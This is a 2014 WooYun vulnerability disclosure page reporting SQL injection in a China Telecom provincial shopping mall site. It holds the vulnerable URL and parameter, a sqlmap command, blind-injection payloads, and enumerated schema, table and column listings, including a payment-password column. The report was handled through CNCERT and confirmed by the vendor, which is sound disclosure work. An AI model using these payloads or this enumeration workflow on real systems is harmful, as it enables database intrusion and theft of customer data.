当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067714

漏洞标题:电信某省商城注入漏洞可脱裤

相关厂商:中国电信

漏洞作者: 路人甲

提交时间:2014-07-10 14:57

修复时间:2014-08-24 14:58

公开时间:2014-08-24 14:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-10: 细节已通知厂商并且等待厂商处理中
2014-07-15: 厂商已经确认,细节仅向厂商公开
2014-07-25: 细节向核心白帽子及相关领域专家公开
2014-08-04: 细节向普通白帽子公开
2014-08-14: 细节向实习白帽子公开
2014-08-24: 细节向公众公开

简要描述:

看看电信的商城,,,,

详细说明:

电信商城 可注入 可脱裤

漏洞证明:

打开http://www.114mall.com.cn/
注入点

http://www.114mall.com.cn/exchangecenter/webMarket/CommTypeTwo.aspx?type=02&commTypeID=0810


操作系统级数据库信息

web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Oracle


注入出库

sqlmap>sqlmap.py -u "http://www.114mall.com.cn/exchangecenter/webM
rket/CommTypeTwo.aspx?type=02&commTypeID=0810" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutua
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respo
sible for any misuse or damage caused by this program
[*] starting at 13:16:06
[13:16:06] [INFO] resuming back-end DBMS 'oracle'
[13:16:06] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: commTypeID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=02&commTypeID=0810' AND 7336=7336 AND 'hGXg'='hGXg
Type: AND/OR time-based blind
Title: Oracle AND time-based blind (heavy query)
Payload: type=02&commTypeID=0810' AND 4577=(SELECT COUNT(*) FROM ALL_USERS
1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'Tvga'='Tvga
---
[13:16:07] [INFO] the back-end DBMS is Oracle
web server operating system: Windows 2008 or Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Oracle
[13:16:07] [WARNING] schema names are going to be used on Oracle for enumeratio
as the counterpart to database names on other DBMSes
[13:16:07] [INFO] fetching database (schema) names
[13:16:07] [INFO] fetching number of databases
[13:16:07] [INFO] resumed: 20
[13:16:07] [INFO] resumed: APEX_030200
[13:16:07] [INFO] resumed: APPQOSSYS
[13:16:07] [INFO] resumed: CTXSYS
[13:16:07] [INFO] resumed: DBSNMP
[13:16:07] [INFO] resumed: EXFSYS
[13:16:07] [INFO] resumed: FLOWS_FILES
[13:16:07] [INFO] resumed: MDSYS
[13:16:07] [INFO] resumed: OLAPSYS
[13:16:07] [INFO] resumed: ORDDATA
[13:16:07] [INFO] resumed: ORDSYS
[13:16:07] [INFO] resumed: OUTLN
[13:16:07] [INFO] resumed: OWBSYS
[13:16:07] [INFO] resumed: SCOTT
[13:16:07] [INFO] resumed: SYS
[13:16:07] [INFO] resumed: SYSMAN
[13:16:07] [INFO] resumed: SYSTEM
[13:16:07] [INFO] resumed: WMSYS
[13:16:07] [INFO] resumed: XDB
[13:16:07] [INFO] resumed: ZJBESTTONE
[13:16:07] [INFO] resumed: ZJHB_USER
available databases [20]:
[*] APEX_030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] WMSYS
[*] XDB
[*] ZJBESTTONE
[*] ZJHB_USER
[13:16:07] [INFO] fetched data logged to text files under 'C:\Python27\sqlmapn\
utput\www.114mall.com.cn'


20个库

看看ZJBESTTONE库中的表 TMP_B
ONUS_USER


结构

Database: ZJBESTTONE
Table: TMP_BONUS_USER
[26 columns]
+------------------------+----------+
| Column | Type |
+------------------------+----------+
| BIRTHDAY_TM | DATE |
| CARDCLASS_EVALUATE_TM | DATE |
| CARDCLASS_TX | VARCHAR2 |
| CERTIFICATECODE | VARCHAR2 |
| CERTIFICATETYPE | VARCHAR2 |
| CITY_TX | VARCHAR2 |
| COUNTY_TX | VARCHAR2 |
| CREATECARDTIME_TM | DATE |
| CREDIT_TX | VARCHAR2 |
| CUST_ATTR | VARCHAR2 |
| CUST_ID | VARCHAR2 |
| CUSTCONTACTTEL | VARCHAR2 |
| CUSTLEVEL | VARCHAR2 |
| ENTERPRISELD | VARCHAR2 |
| LOGINNAME_TX | VARCHAR2 |
| OTHERPROVINCELDCUST_ID | VARCHAR2 |
| PAY_PASSWD | VARCHAR2 |
| PROVINCELDCUST_ID | VARCHAR2 |
| REALNAME_TX | VARCHAR2 |
| REMARK | VARCHAR2 |
| SEX_TX | VARCHAR2 |
| STATUS_TX | VARCHAR2 |
| UPDATE_TM | DATE |
| UPROVINCELD_TX | VARCHAR2 |
| USERACCOUNT_TX | VARCHAR2 |
| USERTYPE_TX | VARCHAR2 |
+------------------------+----------+


其中ZJBESTTONE 的表

Database: ZJBESTTONE
[235 tables]
+--------------------------------+
| BST_AUDIT |
| COPY_TEST_POINT |
| DISPAY_AUDIT |
| DROP_LOG |
| ENTERPRISE_USERINFOR |
| GT_STATUS_NOTIFY |
| IMP_CUST_FROM_114MALL_ERR |
| LOVEMOVIEMSGLOG |
| MALL_AREA |
| MALL_MANAGE_PARTY |
| MALL_ORDER |
| MALL_ORDER_ITEM |
| MALL_PRODUCT |
| MICROSOFTDTPROPERTIES |
| M_TMP_UP |
| M_TMP_UVC |
| PLAN_TABLE |
| POSINFO |
| PROCESS_INFO |
| PROVINCE |
| SQ_BST_UVC |
| SQ_UP_VC |
| S_DZ_DETAIL |
| S_DZ_PAY |
| TAB_ACCOUNT |
| TAB_ACCOUNT_LOCK |
| TAB_BLACK_ACCOUNT |
| TAB_CT_ERROR_LOG |
| TAB_CT_SUCCESS_LOG |
| TAB_LOGIN_ERROR_LOG |
| TAB_LOGIN_SUCCESS_LOG |
| TAB_LT_ERROR_LOG |
| TAB_PGT_ERROR_LOG |
| TAB_PGT_SUCCESS_LOG |
| TAB_PT_ERROR_LOG |
| TAB_PT_SUCCESS_LOG |
| TAB_SITE |
| TAB_ST_ERROR_LOG |
| TAB_ST_SUCCESS_LOG |
| TAB_TGT_ERROR_LOG |
| TAB_TGT_SUCCESS_LOG |
| TBLCONSUMELOG20070409 |
| TBLPRESENTLOG |
| TMP |
| TMP041203 |
| TMP0508 |
| TMP1 |
| TMP_BONUS_USER |
| TMP_COMMODITY |
| TMP_COMMODITYID_CHANGE |
| TMP_HUXK |
| TMP_T_CARD_PASSWORD_INFO_1 |
| TTT_CXD |
| T_118114CARD |
| T_ACCEPT_ORDER |
| T_ACCOUNT |
| T_ACCOUNTCHANGELOG |
| T_ACCOUNTSTATELOG |
| T_ACTION_DICTIONARY |
| T_ACTIVITYINFO |
| T_AREA |
| T_AREA_LOG |
| T_AREA_OFFICEBUSINESS |
| T_AREA_OFFICEBUSINESS_LOG |
| T_BASISCFGBRANCH |
| T_BASISCFGITEM |
| T_BLACK_WHITE |
| T_BONUS_ACCOUNT |
| T_BONUS_ACCOUNTCHANGELOG |
| T_BONUS_ACCOUNTDETAILCHANGELOG |
| T_BONUS_ACCOUNT_DETAIL |
| T_BONUS_USER |
| T_BONUS_USERRELATION |
| T_BONUS_USER_ADDR |
| T_BONUS_USER_EXTENSION |
| T_BONUS_USER_LOG |
| T_BUSINESSCFGBRANCH |
| T_BUSINESSCFGITEM |
| T_BW_RULE |
| T_CALLSERVICE_LOG |
| T_CARD |
| T_CARDRELATION |
| T_CARD_BACKUP |
| T_CARD_EXTENSION |
| T_CARD_LOG |
| T_CARD_PASSWORD_INFO |
| T_CARD_PERMISSION |
| T_CARD_PERMISSION_LOG |
| T_CARD_RELATION_LOG |
| T_CARD_RESOURCE |
| T_CARD_RESOURCE_LOG |
| T_CLUB_ORDER |
| T_CMS_LOGIN |
| T_COMMODITYINFO_LOG |
| T_COMMODITYORDER_LOG |
| T_COMMODITY_ATTR |
| T_COMMODITY_BUYLOG |
| T_COMMODITY_BUYLOG_DETAIL |
| T_COMMODITY_BUYLOG_DETAILLOG |
| T_COMMODITY_DUMMY |
| T_COMMODITY_EXPRESS_FARE |
| T_COMMODITY_EXPRESS_FARE2 |
| T_COMMODITY_INCART |
| T_COMMODITY_INFO |
| T_COMMODITY_INORDER |
| T_COMMODITY_INORDER_BYMERCHANT |
| T_COMMODITY_INORDER_EXTEND |
| T_COMMODITY_KIND |
| T_COMMODITY_ORDER |
| T_COMMODITY_ORDER_FORVOICE |
| T_COMMODITY_TYPE_ATTR |
| T_COMMON_LOG |
| T_COMPLAINTS |
| T_CRADCUSTIDCHG_LOG |
| T_CRMCHGLOG |
| T_CRMPOINTS_SOURCE |
| T_CRM_BONUS |
| T_CRM_LOG |
| T_CUST |
| T_CUST_BONUS |
| T_CUST_CARD_REALATON |
| T_CUST_REATION |
| T_DEPOSITCENTER_ORDER |
| T_DEPOSITCENTER_ORDER_STATUS |
| T_DICTIONARY |
| T_ERROR_LOG |
| T_EXPRESS_ORDER |
| T_EXTERN_TRADELOG |
| T_FILL_CARD |
| T_FREEZEACCOUNT |
| T_GIFTS_ORDER |
| T_GIFT_CLASS_INFO |
| T_GOODSRECORDS_RELATION |
| T_GREETINGS |
| T_HEALTHCARD |
| T_HEALTHCARDTEMP |
| T_INVOICE |
| T_INVOICEDETAIL |
| T_LIQUIDATION_TMP |
| T_LPW_COMMODITY_INFO |
| T_MERCHANTJOININFO |
| T_MERCHANT_EXPRESSSCOPE |
| T_MERCHANT_EXPRESS_DISC |
| T_MERCHANT_EXPRESS_DISC_DETA |
| T_MERCHANT_EXPRESS_FARE_MODEL2 |
| T_MERCHANT_EXPRESS_FARE_MODULE |
| T_MERCHANT_EXTENSION |
| T_MERCHANT_INFO |
| T_MERCHANT_KIND |
| T_MERCHANT_POS |
| T_MERGING_LOG |
| T_MIXED_TRADELOG |
| T_MOBIL_PHONE_USER |
| T_MOBIL_RELATION |
| T_MONTH_BILL_DETAIL |
| T_NOTICE |
| T_OFFICEBUSINESS |
| T_OFFICEBUSINESS_LOG |
| T_OFFICEBUSINESS_OPERATOR |
| T_OFFICEBUSINESS_OPERATOR_LOG |
| T_OFFICEBUSINESS_ROLE |
| T_OFFICEBUSINESS_ROLE_LOG |
| T_OPERATOR |
| T_OPERATORSTATE |
| T_OPERATOR_LOG |
| T_ORDER |
| T_ORDERCART_LOG |
| T_ORDER_CART |
| T_OUTERACCOUNTLOG |
| T_OUTTRADELOG |
| T_PASSWORD |
| T_PAYGATE_ORDER |
| T_PAY_LIST |
| T_PAY_ORDER |
| T_PERMISSION |
| T_PERMISSION_LOG |
| T_PERSONALUSER |
| T_POSNO_JX |
| T_PROMOTIONPLAN |
| T_PROMOTIONPLAN_AREA |
| T_PROMOTIONPLAN_GIFTS |
| T_REGBRANCH |
| T_REGITEM |
| T_ROLE |
| T_ROLE_LOG |
| T_ROLE_OPERATOR |
| T_ROLE_OPERATOR_LOG |
| T_ROLE_PERMISSION |
| T_ROLE_PERMISSION_LOG |
| T_SECURITYLOG |
| T_SERVICECALLLOG |
| T_SERVICELOG |
| T_SERVICEROUTERCFGBRANCH |
| T_SERVICEROUTERCFGITEM |
| T_SMS_CACHE |
| T_SPAPPLY |
| T_SPINFO |
| T_SP_CREDIT_AFFECT_DATA |
| T_SP_CREDIT_AFFECT_DATA_LOG |
| T_SP_CREDIT_RULE |
| T_SP_CREDIT_RULE_LOG |
| T_SQ_BST |
| T_SQ_UNEQUAL_BACKUP |
| T_SQ_UNEQUAL_UP |
| T_SQ_UNEQUAL_XLT |
| T_SQ_UNITPAY |
| T_SQ_UP |
| T_SQ_UPPAY |
| T_SQ_UVC |
| T_SQ_WENTI |
| T_SQ_XLT |
| T_SUBACCOUNT |
| T_SUBACTIVITYINFO |
| T_SUBCRMBONUSCHANGELOG |
| T_SYC_ORDER_LOGINFO |
| T_SYSTEMFREEZEINFO |
| T_SYSTEMFREEZELOG |
| T_SYSTEM_OPERATOR |
| T_SYSTEM_OPERATOR_LOG |
| T_SY_COMMODITY |
| T_TELEINFO |
| T_TEMPACCOUNTCHANGELOG |
| T_TEMPTRADELOG |
| T_TICKET_EXPRESS_FARE |
| T_TIME_SERVICE_FEE |
| T_TMP |
| T_TMP1 |
| T_TRADELOG |
| T_TRADE_RELATION |
| T_USER_ACTION |
| T_USER_DISCUSSION |
| T_WRAPPING |
| T_ZONE_SERVICE_FEE |
| UVC_AUDIT |
| YHF_ORDERID |
+--------------------------------+


不再深入了,,,,,问题很明确

修复方案:

过滤
你们攻城狮懂。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2014-07-15 09:47

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT直接通报给中国电信集团公司处置,按信息泄露风险评分,rank 11

最新状态:

暂无


漏洞评价:

评论